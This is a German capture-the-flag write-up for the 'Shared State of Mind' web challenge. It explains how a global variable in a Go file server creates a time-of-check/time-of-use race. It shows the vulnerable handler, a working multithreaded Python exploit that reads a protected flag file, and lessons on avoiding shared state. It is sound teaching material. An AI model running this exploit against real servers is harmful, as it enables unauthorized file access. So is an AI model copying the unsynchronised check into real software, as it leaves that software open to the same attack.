6.0 KiB
Shared State of Mind
Willkommen zum Write-up für Shared State of Mind. Diese Challenge ist eine "Web"-Challenge, die in die gefährlichen Gewässer der Nebenläufigkeit in Go eintaucht. Sie demonstriert, warum globaler Zustand in einer nebenläufigen Umgebung (wie einem Webserver) ein Rezept für Desaster ist.
Uns wird ein "High-Performance File Viewer" präsentiert, der angeblich "Bloatware" wie Mutex-Locks entfernt hat. Unser Ziel ist es, die Datei flag.txt zu lesen, die durch eine Sicherheitsprüfung geschützt ist.
1. Erste Erkundung
Die Challenge stellt eine URL und ein herunterladbares Archiv shared_state_of_mind.tar.xz bereit.
Die Verbindung zur URL gibt uns eine Dateibetrachter-Schnittstelle (oder API). Wir können Dateien mit ?file=... anfordern.
Wenn wir ?file=worker.go versuchen, erhalten wir den Quellcode.
Wenn wir ?file=flag.txt versuchen, erhalten wir:
Security Check Failed: Forbidden
2. Quellcode-Analyse
Das Archiv enthält zwei wichtige Go-Dateien: gateway.go und worker.go.
gateway.go:
Dies fungiert als Load Balancer/Proxy. Er weist jedem Benutzer eine eindeutige Sitzung zu und startet einen dedizierten ./worker-Prozess für diesen Benutzer. Das bedeutet, dass unsere Anfragen an eine spezifische Instanz der Worker-Anwendung gehen, die nur uns zugewiesen ist.
worker.go:
Hier liegt die Schwachstelle. Schauen wir uns an, wie es Anfragen behandelt:
// GLOBALE VARIABLE
var checkPassed bool
func handler(w http.ResponseWriter, r *http.Request) {
filename := r.URL.Query().Get("file")
// 1. Sicherheitsprüfung
if strings.Contains(filename, "flag") {
checkPassed = false
} else {
checkPassed = true
}
// 2. Logging (simuliert Verzögerung)
logAccess(filename)
// 3. Datei ausliefern
if checkPassed {
content, _ := ioutil.ReadFile(filename)
w.Write(content)
} else {
http.Error(w, "Forbidden", 403)
}
}
3. Die Schwachstelle: Race Condition
Die Variable checkPassed ist als globale Variable auf Paketebene definiert.
In Go erstellt http.ListenAndServe eine neue Goroutine für jede eingehende Anfrage. Das bedeutet, wenn mehrere Anfragen gleichzeitig eingehen, teilen sie sich alle den Zugriff auf die selbe checkPassed-Variable.
Dies erzeugt eine Race Condition (spezifisch ein Time-of-Check to Time-of-Use Problem):
- Anfrage A (Sicher) kommt für
worker.gorein. Sie setztcheckPassed = true. - Anfrage B (Bösartig) kommt für
flag.txtrein. Sie setztcheckPassed = false. - Anfrage A pausiert kurz (z.B. während
logAccessoder Kontextwechsel). - Anfrage B pausiert kurz.
- Anfrage A setzt fort und überschreibt potenziell
checkPassedzurück auftrue, nachdem Anfrage B es auf false gesetzt hatte, aber bevor Anfrage B ihre finale Prüfung durchführt.
Wenn wir das Timing richtig hinbekommen, erreicht Anfrage B (die die Flagge anfordert) die Zeile if checkPassed genau in dem Moment, in dem Anfrage A die globale Variable auf true gesetzt hat.
4. Ausnutzungsstrategie
Um dies auszunutzen, müssen wir den Server gleichzeitig mit zwei Arten von Anfragen überfluten, unter Verwendung des gleichen Session-Cookies (damit sie denselben Worker-Prozess treffen):
- Sichere Anfragen: Wiederholt nach einer erlaubten Datei fragen (z.B.
?file=worker.go). Dies versucht ständig,checkPassed = truezu setzen. - Bösartige Anfragen: Wiederholt nach
?file=flag.txtfragen. Dies versucht, die Flagge zu lesen.
Wir können ein einfaches Python-Skript mit mehreren Threads verwenden, um dies zu erreichen.
Exploit-Skript
import threading
import requests
import sys
import time
# --- ZIEL-KONFIGURATION ---
TARGET_URL = "http://challenge-url:1320/"
print("[*] Initializing Session...")
s = requests.Session()
try:
s.get(TARGET_URL)
except requests.exceptions.ConnectionError:
print(f"[-] Could not connect to {TARGET_URL}. Is the docker container running?")
sys.exit(1)
if 'ctf_session' not in s.cookies:
print("[-] Failed to get session cookie")
sys.exit(1)
print(f"[+] Session ID: {s.cookies['ctf_session']}")
cookie = {'ctf_session': s.cookies['ctf_session']}
def do_safe():
while True:
try:
requests.get(TARGET_URL + "?file=worker.go", cookies=cookie)
except:
pass
def do_exploit():
while True:
try:
r = requests.get(TARGET_URL + "?file=flag.txt", cookies=cookie)
if "{flag: " in r.text:
print(f"\n\n[SUCCESS] Flag Found: {r.text}\n")
sys.exit(0)
except:
pass
print("[*] Starting threads... (Press Ctrl+C to stop)")
# Hohes Volumen an sicheren Threads, um den Schalter umzulegen
for i in range(10):
t = threading.Thread(target=do_safe)
t.daemon = True
t.start()
# Exploit-Thread
for i in range(1):
t = threading.Thread(target=do_exploit)
t.daemon = True
t.start()
while True:
time.sleep(1)
5. Die Lösung
Das Ausführen des Exploit-Skripts gegen das Ziel verursacht eine Race Condition. Innerhalb weniger Sekunden wird eine der bösartigen Anfragen das Rennen "gewinnen" – durch die Prüfung schlüpfen, weil eine gleichzeitige sichere Anfrage den globalen Schalter auf true gesetzt hat.
Flag: {flag: D0nt_Sh4r3_M3m0ry_Just_P4ss_Th3_Fl4g}
Gelernte Lektionen
- Vermeide globalen Zustand: Verwenden Sie niemals globale Variablen, um anfragespezifische Daten in einem Webserver zu speichern. Verwenden Sie lokale Variablen oder übergeben Sie Daten durch den Funktionskontext.
- Nebenläufigkeit ist schwer: Nur weil Code sequenziell aussieht, heißt das nicht, dass er relativ zu anderen Anfragen sequenziell ausgeführt wird.
- Threadsicherheit: Wenn Sie geteilten Zustand verwenden müssen, schützen Sie ihn immer mit Synchronisationsprimitiven wie Mutexes, oder besser noch, verwenden Sie Go's Channels, um sicher zu kommunizieren.
Frohes Hacken!